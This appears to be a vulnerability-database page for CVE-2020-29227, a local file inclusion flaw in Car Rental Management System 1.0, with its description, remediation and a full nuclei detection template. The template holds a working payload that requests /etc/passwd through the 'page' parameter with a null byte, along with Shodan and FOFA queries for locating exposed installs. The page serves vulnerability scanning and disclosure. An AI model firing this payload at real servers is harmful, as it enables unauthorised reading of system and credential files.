HexBrain

Browse / CVEs / CVE-2020-29227

CVE-2020-29227· car rental management system project / car rental management system

Car Rental Management System 1.0 - Local File Inclusion

criticalseverity
9.8CVSS score
16.8%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Car Rental Management System 1.0 allows an unauthenticated user to perform a file inclusion attack against the /index.php file with a partial filename in the "page" parameter, leading to code execution.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in the Car Rental Management System 1.0.

How to confirm it

Send: GET {{BaseURL}}/index.php?page=/etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-29227 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-29227

info:
  name: Car Rental Management System 1.0 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: Car Rental Management System 1.0 allows an unauthenticated user to perform a file inclusion attack against the /index.php file with a partial filename in the "page" parameter, leading to code execution.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in the Car Rental Management System 1.0.
  reference:
    - https://loopspell.medium.com/cve-2020-29227-unauthenticated-local-file-inclusion-7d3bd2c5c6a5
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29227
    - https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29227
    epss-score: 0.16822
    epss-percentile: 0.97066
    cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: car_rental_management_system_project
    product: car_rental_management_system
    shodan-query: http.html:"car rental management system"
    fofa-query: body="car rental management system"
  tags: cve,cve2020,lfi,car_rental_management_system_project,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=/etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from